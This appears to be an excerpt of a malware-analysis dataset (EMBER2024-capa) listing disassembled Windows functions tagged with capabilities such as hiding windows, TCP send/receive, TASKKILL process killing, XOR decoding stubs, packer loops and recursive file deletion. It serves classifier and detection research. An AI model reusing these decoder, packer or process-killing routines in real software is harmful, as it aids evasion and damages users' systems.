joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a73
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0x2010
push 0
push 0
push 0
push 0x401401
push 0
call dword [sym.imp.USER32.DLL_LoadImageA]
mov dword [0x4010c6], eax
mov eax, dword [0x4010c6]
push eax
mov eax, dword [0x401061]
push eax
call fcn.00402209
push 5
mov eax, dword [0x401061]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
push 0
push 0
mov eax, dword [0x401061]
push eax
call dword [sym.imp.USER32.DLL_InvalidateRect]
mov esp, ebp
pop ebp
ret

Function at 0x402ac6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0x14
jge 0x402adc
push dword [ebp + 8]
call fcn.00402ca2
jmp 0x402bd1
cmp dword [ebp + 8], 0x14
jne 0x402aec
call fcn.00403f94
jmp 0x402bd1
cmp dword [ebp + 8], 0x15
jne 0x402b02
mov eax, dword [0x4010b2]
push eax
call fcn.00403167
jmp 0x402bd1
cmp dword [ebp + 8], 0x16
jne 0x402b12
call fcn.00403d76
jmp 0x402bd1
cmp dword [ebp + 8], 0x17
jne 0x402b22
call fcn.004030ba
jmp 0x402bd1
cmp dword [ebp + 8], 0x18
jne 0x402b3b
push 0
mov eax, dword [0x401061]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
jmp 0x402bd1
cmp dword [ebp + 8], 0x6b
jne 0x402b4e
push 1
pop eax
mov dword [0x4010be], eax
jmp 0x402bd1
cmp dword [ebp + 8], 0x6c
jne 0x402b5e
push 2
pop eax
mov dword [0x4010be], eax
jmp 0x402bd1
cmp dword [ebp + 8], 0x6d
jne 0x402b71
mov eax, dword [0x4010be]
push eax
call fcn.00403fb5
jmp 0x402bd1
cmp dword [ebp + 8], 0x6f
jne 0x402b80
push 3
call fcn.00403fb5
jmp 0x402bd1
cmp dword [ebp + 8], 0x70
jne 0x402b8f
push 4
call fcn.00403fb5
jmp 0x402bd1
cmp dword [ebp + 8], 0x3e9
jne 0x402b9f
call fcn.00403d76
jmp 0x402bd1
cmp dword [ebp + 8], 0x3ea
jne 0x402bb1
push 5
call fcn.00402dad
jmp 0x402bd1
cmp dword [ebp + 8], 0x3eb
jne 0x402bc3
push 0
call fcn.00402dad
jmp 0x402bd1
cmp dword [ebp + 8], 0x3ec
jne 0x402bd1
call fcn.004030ba
mov esp, ebp
pop ebp
ret 4

Function at 0x402bd7
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [ebp + 8]
call dword [sym.imp.USER32.DLL_ShowWindow]
mov esp, ebp
pop ebp
ret 4

Function at 0x402c3e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x401076]
push eax
call dword [sym.imp.WS2_32.DLL_closesocket]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.DLL_socket]
mov dword [0x401076], eax
movzx eax, word [0x401152]
push eax
call dword [sym.imp.WS2_32.DLL_htons]
mov word [0x401343], ax
push 0x31
push 0x400
mov eax, dword [0x401061]
push eax
mov eax, dword [0x401076]
push eax
call dword [sym.imp.WS2_32.DLL_WSAAsyncSelect]
push 0x10
push 0x401341
mov eax, dword [0x401076]
push eax
call dword [sym.imp.WS2_32.DLL_connect]
mov esp, ebp
pop ebp
ret
Function at 0x402d28
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0
push 0x400
mov eax, dword [0x401092]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.DLL_recv]
mov dword [0x4010e6], eax
mov edi, dword [0x401092]
mov eax, dword [0x4010e6]
add edi, eax
xor eax, eax
mov dword [edi], eax
mov edi, dword [0x401092]
movzx eax, byte [edi]
cmp eax, 0x81
jne 0x402d7f
push 0x40
push 0x4014de
mov eax, dword [0x401092]
add eax, 4
push eax
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
mov esp, ebp
pop ebp
ret 4

Function at 0x402e07
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x401061]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
xor eax, eax
mov dword [0x4010ae], eax
mov eax, dword [0x4010ae]
push eax
mov eax, dword [0x401146]
push eax
pop edx
pop eax
cmp eax, edx
jge 0x402e55
mov edi, 0x40111a
mov eax, dword [0x4010ae]
imul eax, eax, 4
add edi, eax
mov eax, dword [edi]
test eax, eax
jne 0x402e4d
call fcn.00402e6d
jmp 0x402e69
inc dword [0x4010ae]
jmp 0x402e1f
push 0x20
push 0x4014e3
push 0x4014ec
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
mov esp, ebp
pop ebp
ret

Function at 0x402e6d
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4010a6]
push eax
mov eax, dword [0x401061]
push eax
movzx eax, word [0x401152]
push eax
mov eax, dword [0x4010fa]
push eax
push str._s__d__k__d__t__d
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
push 0x40116f
call dword [sym.imp.SHELL32.DLL_ShellExecuteExA]
inc dword [0x4010f2]
mov eax, dword [0x4011a7]
push eax
push 0
push 0x402ec3
call dword [sym.imp.MSVCRT.DLL__beginthread]
mov esp, ebp
pop ebp
ret
Function at 0x402fd4
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 0
push str.TASKKILL__F__IM_rxxb.exe
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.TASKKILL__F__IM
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, dword [0x40107a]
mov dword [ebp - 4], eax
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.DLL_strlen]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
test eax, eax
jle 0x40309b
push str..dll
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.DLL_strstr]
test eax, eax
je 0x40303a
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
je 0x403038
call dword [sym.imp.WS2_32.DLL_WSACleanup]
jmp 0x40308f
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.DLL_FindWindowA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40305d
push dword [ebp - 4]
push 0
call dword [sym.imp.USER32.DLL_FindWindowA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
test eax, eax
jle 0x40308f
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
push dword [ebp - 0x10]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov eax, dword [ebp - 8]
inc eax
add dword [ebp - 4], eax
jmp 0x402ffc
mov esp, ebp
pop ebp
ret

Function at 0x4030ba
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0x24
push 0x40156a
push 0x40156f
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
cmp eax, 6
jne 0x4030f8
push 0
push str.TASKKILL__F__IM_rxjh.exe
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x401351
push 2
call dword [sym.imp.SHELL32.DLL_Shell_NotifyIconA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x403167
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push dword [ebp + 8]
push str.Open
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
mov esp, ebp
pop ebp
ret 4
Function at 0x4036f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [0x40108e]
mov ecx, dword [0x4010e6]
mov esi, dword [0x40108a]
mov al, byte [edi]
mov bl, byte [esi]
xor al, bl
stosb byte es:[edi], al
inc esi
dec ecx
jne 0x403708
mov esp, ebp
pop ebp
ret

Function at 0x403c66
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [0x40106e], eax
mov eax, dword [0x40106e]
cmp eax, 0xffffffff
jne 0x403c9c
xor eax, eax
mov dword [0x4010e6], eax
jmp 0x403cfd
push 0
mov eax, dword [0x40106e]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [0x4010e6], eax
mov eax, dword [0x4010e6]
inc eax
push eax
call dword [sym.imp.MSVCRT.DLL_malloc]
mov dword [0x40108e], eax
push 0
push 0x4010ea
mov eax, dword [0x4010e6]
push eax
mov eax, dword [0x40108e]
push eax
mov eax, dword [0x40106e]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edi, dword [0x40108e]
mov eax, dword [0x4010ea]
add edi, eax
xor eax, eax
mov byte [edi], al
mov eax, dword [0x40106e]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esp, ebp
pop ebp
ret 4

Function at 0x403d4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, dword [0x40108a]
xor eax, eax
dec eax
xor ebx, ebx
mov bl, byte [esi]
xor bl, al
shr eax, 8
xor eax, dword [edi + ebx*4]
inc esi
dec ecx
jne 0x403d5f
xor eax, 0xffffffff
mov esp, ebp
pop ebp
ret 8
Function at 0x403d76
Capabilities:
Delete file
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4010f2]
test eax, eax
jge 0x403d87
jmp 0x403ecc
mov eax, dword [0x401072]
test eax, eax
jle 0x403ea1
mov eax, dword [0x4010f2]
test eax, eax
jne 0x403ea1
push 5
mov eax, dword [0x40106a]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
push 0x401421
mov eax, dword [0x401072]
push eax
call dword [sym.imp.MSVCRT.DLL_strtok]
mov dword [0x401086], eax
mov eax, dword [0x4010d6]
push eax
push 0x401162
push str._X__s
mov eax, dword [0x401086]
push eax
call dword [sym.imp.MSVCRT.DLL_sscanf]
mov eax, dword [0x401162]
test eax, eax
jne 0x403df8
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x403e54
mov eax, dword [0x4010d6]
push eax
push str._s.zip
mov eax, dword [0x4010f6]
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
mov eax, dword [0x4010f6]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [0x401162]
push eax
mov eax, dword [0x4010d6]
push eax
call fcn.00403d03
push eax
pop edx
pop eax
cmp eax, edx
je 0x403e54
mov eax, dword [0x4010d6]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
dec dword [0x4010f2]
push 2
call fcn.00403460
push 0x401421
push 0
call dword [sym.imp.MSVCRT.DLL_strtok]
mov dword [0x401086], eax
mov eax, dword [0x401086]
push eax
mov eax, dword [0x401072]
push eax
pop edx
pop eax
cmp eax, edx
jle 0x403e93
push 2
push 0x401421
mov eax, dword [0x401086]
sub eax, 2
push eax
call dword [sym.imp.KERNEL32.DLL_RtlMoveMemory]
jmp 0x403dc5
push 0
mov eax, dword [0x40106a]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
mov eax, dword [0x4010f2]
test eax, eax
jge 0x403ec7
push 0x40
push 0x4016c6
push 0x4016cf
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
xor eax, eax
mov dword [0x4010f2], eax
jmp 0x403ecc
call fcn.00402e07
mov esp, ebp
pop ebp
ret
Function at 0x403fb5
Capabilities:
Get graphical window text
Hide graphical window
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x401092]
add eax, 4
push eax
push 0xe
push 0xd
mov eax, dword [0x4015a3]
push eax
call dword [sym.imp.USER32.DLL_SendMessageA]
mov dword [0x4010e6], eax
mov eax, dword [0x4010e6]
cmp eax, 4
jge 0x403fef
push 0x4016de
call fcn.0040418b
jmp 0x40415c
mov edi, dword [0x401092]
mov eax, 0x20202020
mov dword [edi], eax
push 0x3d
pop eax
mov dword [0x4010ea], eax
push 0x401401
push 0xe
push 0xd
mov eax, dword [0x4015a7]
push eax
call dword [sym.imp.USER32.DLL_SendMessageA]
mov dword [0x4010e6], eax
mov eax, dword [0x4010e6]
cmp eax, 6
jge 0x404037
push 0x4016ea
call fcn.0040418b
jmp 0x40415c
mov eax, dword [0x4010d6]
push eax
push 0xe
push 0xd
mov eax, dword [0x4015ab]
push eax
call dword [sym.imp.USER32.DLL_SendMessageA]
mov eax, dword [0x4010d6]
push eax
push 0x401401
call dword [sym.imp.MSVCRT.DLL_strcmp]
test eax, eax
je 0x404071
push 0x4016f6
call fcn.0040418b
jmp 0x40415c
call fcn.00404162
push 0x401401
push 0xc
push 0xd
mov eax, dword [0x4015af]
push eax
call dword [sym.imp.USER32.DLL_SendMessageA]
mov dword [0x4010e6], eax
mov eax, dword [0x4010e6]
cmp eax, 6
jge 0x4040a9
push 0x401701
call fcn.0040418b
jmp 0x40415c
call fcn.00404162
push 0x401401
push 0xc
push 0xd
mov eax, dword [0x4015b3]
push eax
call dword [sym.imp.USER32.DLL_SendMessageA]
mov dword [0x4010e6], eax
mov eax, dword [0x4010e6]
cmp eax, 5
jge 0x4040de
push 0x40170b
call fcn.0040418b
jmp 0x40415c
call fcn.00404162
mov eax, dword [0x40114e]
push eax
push dword [ebp + 8]
push str._d_X
push 0x401401
call dword [sym.imp.MSVCRT.DLL_sprintf]
call fcn.00404162
mov eax, dword [0x401092]
push eax
call dword [sym.imp.MSVCRT.DLL_strlen]
mov dword [0x4010e6], eax
mov edi, dword [0x401092]
add edi, 2
mov eax, dword [0x4010e6]
sub eax, 4
mov word [edi], ax
push 0
mov eax, dword [0x40159b]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
push 0
mov eax, dword [0x4010e6]
push eax
mov eax, dword [0x401092]
push eax
mov eax, dword [0x401076]
push eax
call dword [sym.imp.WS2_32.DLL_send]
test eax, eax
jne 0x40415c
push 0x40171d
call fcn.0040418b
mov esp, ebp
pop ebp
ret 4

Function at 0x40418b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x40159b]
push eax
call dword [sym.imp.USER32.DLL_ShowWindow]
push 0x10
push 0x401738
push dword [ebp + 8]
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
call fcn.00403f94
mov esp, ebp
pop ebp
ret 4
Function at 0x103ac64c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103ac656
pushal
call 0x103ac65c
pop ebp
sub ebp, 0x10
sub ebp, 0x3ac64c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103ac680
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103ac689
mov eax, 0x3ac64c
add eax, ebp
add eax, 0x63
mov ecx, 0x5fb
mov edx, 0x2b395442
xor byte [eax], dl
inc eax
dec ecx
jne 0x103ac6a0
jmp 0x103ac6b3
leave
invalid
Function at 0x11c43a4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x11c43ae
pushal
call 0x11c43b4
add byte [eax], al
pop ebp
sub ebp, 0x10
sub ebp, 0xdc43a4
jmp 0x11c43ca
mov eax, 0xdc43a4
add eax, ebp
add eax, 0x4c
add byte [eax], al
mov ecx, 0x5d8
mov edx, 0xfa4c2f1
xor byte [eax], dl
inc eax
dec ecx
jne 0x11c43e1
jmp 0x11c43f4
jp 0x11c4432
jp 0x11c4470
int 0xf1
int1
int1
jo 0x11c442e
or ecx, esi
int1
int1
cmp al, 0x49
cmc
int1
int1
int1
dec ebx
fyl2x
int1
int1
push es
adc esi, edx
cmp dword [edx + 0x70], edi
std
int1
int1
int1
xor al, 0xa1
jl 0x11c43b2
aad 0xd
js 0x11c4416
aad 0x99
fst qword [edx - 0x30]
int1
cdq
xchg dword [ecx + 0x4b], edx
int1
invalid
aad 0x99
sbb eax, 0x19ac5ec5
hlt
pop esi
lodsb al, byte [esi]
sbb esp, esi
int1
int1
int1
sbb ch, al
int1
int1
int1
jl 0x11c43d5
aad 0xd
js 0x11c4421
fst st(5)
movsd dword es:[edi], dword [esi]
aad 0xa5
lodsb al, byte [esi]
jp 0x11c44bd
je 0x11c4443
stc
int1
int1
int1
jp 0x11c44b3
std
int1
int1
int1
jp 0x11c44d1
loope 0x11c4448
int1
int1
xor byte [eax], bl
sal bl, 0x72
xor esi, ebp
mov eax, 0xe0574fe
push cs
push cs
jp 0x11c4447
aad 0x7c
xchg ebp, eax
aad 0xf5
xor edi, ebp
std
int1
jp 0x11c44f1
aad 0xf5
int1
int1
int1
cdq
fst qword [edx - 0x30]
int1
cdq
xchg dword [ecx + 0x4b], edx
int1
invalid
mov bl, pe_nt_image_headers32
lodsd eax, dword ss:[esi]
ret 0x7038
push ebp
popfd
jo 0x11c44c4
popal
cli
push ebp
popfd
ret 0x7223
invalid
in eax, dx
enter 0xa71, 0x19
invalid
aam 0xfe
jne 0x11c44d9
int1
int1
int1
mov al, 0x18
cmp eax, 0xd80e0e0e
mov ebp, 0x3072f0c8
hlt
Function at 0x406273
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406298
mov eax, dword [0x40a8a0]
cmp eax, 0xffffffff
je 0x40628f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8a0], 0xffffffff
jmp 0x40630b
cmp dword [0x440a40], ebx
je 0x40630b
cmp byte [0x440640], bl
je 0x4062d7
cmp dword [0x40a8a0], 0xffffffff
jne 0x4062e0
push 4
push 0x40000000
push 0x440640
call fcn.00405c27
cmp eax, 0xffffffff
mov dword [0x40a8a0], eax
je 0x40630b
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8a0], 0xffffffff
je 0x40630b
push esi
mov esi, 0x444a60
push 0x40aae8
push esi
call fcn.00405f75
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f68
push eax
push esi
push dword [0x40a8a0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4064bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44023c], esi
push edi
jne 0x4064f7
mov ecx, 0x440238
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4064d3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x440638
jl 0x4064ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40652c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x440238]
xor eax, esi
inc ecx
dec edx
jne 0x40650f
pop edi
pop esi
not eax
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408e84
mov ecx, 0x4c923cf6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x64e54000
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401fd0
Capabilities:
Check if file exists
Create directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0xffffffff
je 0x402000
test al, 0x10
jne 0x402018
test al, 1
je 0x401ff9
and al, 0xfe
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004844c0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402015
pop edi
pop esi
pop ebx
ret
push esi
call edi
mov ecx, dword [esp + 0x14]
mov edx, ecx
or edx, 0x10
cmp eax, edx
je 0x402029
push ecx
push esi
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x406690
Capabilities:
Get session user name

Disassembly:
sub esp, 0xcc
xor eax, eax
push ebx
mov ebx, dword [esp + 0xd8]
push ebp
mov ebp, dword [esp + 0xd8]
lea ecx, [ebx + ebx]
push esi
mov edx, ecx
push edi
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
call fcn.0047fb00
test eax, eax
je 0x406756
push 0x41
push 0
push 1
push str.default
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov esi, eax
test esi, esi
jne 0x4066ec
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x14]
push eax
push 0x4067f0
push esi
call dword [sym.imp.USER32.dll_EnumDesktopWindows]
push esi
call dword [sym.imp.USER32.dll_CloseDesktop]
lea ecx, [esp + 0x14]
push ecx
call fcn.004538bc
add esp, 4
cmp eax, ebx
jb 0x406738
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xcc
ret
lea edx, [esp + 0x14]
push edx
push ebp
call fcn.00453897
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x18], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov esi, eax
test esi, esi
je 0x4067c6
lea edx, [esp + 0x14]
push edx
call fcn.004538bc
add esp, 4
cmp eax, ebx
jb 0x4067a8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xcc
ret
lea eax, [esp + 0x14]
push eax
push ebp
call fcn.00453897
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4dd
jne 0x4067d8
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret
Function at 0x407870
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
sub esp, 0x660
push ebx
push ebp
push esi
mov esi, dword [esp + 0x670]
xor ebp, ebp
cmp esi, ebp
je 0x4079f5
push esi
call fcn.004538bc
add esp, 4
test eax, eax
je 0x4079f5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4079f5
test bl, 1
je 0x4078bd
and ebx, 0xfffffffe
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test bl, 0x10
je 0x4079e4
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x46a]
mov word [esp + 0x468], bp
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x46c]
push eax
call fcn.00453897
lea ecx, [esp + 0x470]
push 0x63070c
push ecx
call fcn.0045386d
mov ecx, 0x93
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0x10
mov dword [esp + 0x10], ebp
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x468]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4079d2
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea ecx, [esp + 0x3c]
push 0x630758
push ecx
call ebp
test eax, eax
je 0x4079b7
lea edx, [esp + 0x3c]
push 0x630754
push edx
call ebp
test eax, eax
je 0x4079b7
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x262]
mov word [esp + 0x260], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x260]
push esi
push eax
call fcn.00453897
lea ecx, [esp + 0x268]
push 0x63061c
push ecx
call fcn.0045386d
lea edx, [esp + 0x4c]
lea eax, [esp + 0x270]
push edx
push eax
call fcn.0045386d
lea ecx, [esp + 0x278]
push ecx
call fcn.00407870
add esp, 0x1c
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407939
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x660
ret
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
pop ebp
pop ebx
add esp, 0x660
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x660
ret
Function at 0x407a10
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x664
push ebx
push esi
mov esi, dword [esp + 0x670]
xor ebx, ebx
cmp esi, ebx
je 0x407bb6
push esi
call fcn.004538bc
add esp, 4
test eax, eax
je 0x407bb6
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x18]
push ebx
push eax
push esi
mov dword [esp + 0x24], ebx
call fcn.004050f0
add esp, 0x1c
test eax, eax
je 0x407bb6
mov eax, dword [esp + 8]
cmp eax, 0xffffffff
je 0x407bb6
test al, 1
je 0x407a7c
and al, 0xfe
push eax
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [esp + 8]
test al, 0x10
je 0x407ba6
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x46a]
mov word [esp + 0x468], bx
push esi
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x46c]
push ecx
stosw word es:[edi], ax
call fcn.00453897
lea edx, [esp + 0x470]
push 0x63070c
push edx
call fcn.0045386d
mov ecx, 0x93
xor eax, eax
lea edi, [esp + 0x22c]
mov dword [esp + 0x228], ebx
add esp, 0x10
rep stosd dword es:[edi], eax
lea eax, [esp + 0x218]
lea ecx, [esp + 0x468]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407b95
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea edx, [esp + 0x248]
push 0x630758
push edx
call ebp
test eax, eax
je 0x407b76
lea eax, [esp + 0x248]
push 0x630754
push eax
call ebp
test eax, eax
je 0x407b76
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push esi
push ecx
stosw word es:[edi], ax
call fcn.00453897
lea edx, [esp + 0x1c]
push 0x63061c
push edx
call fcn.0045386d
lea eax, [esp + 0x258]
lea ecx, [esp + 0x24]
push eax
push ecx
call fcn.0045386d
lea edx, [esp + 0x2c]
push edx
call fcn.00407a10
add esp, 0x1c
lea eax, [esp + 0x21c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407b01
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop edi
pop esi
pop ebx
add esp, 0x664
ret
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop esi
pop ebx
add esp, 0x664
ret
pop esi
xor eax, eax
pop ebx
add esp, 0x664
ret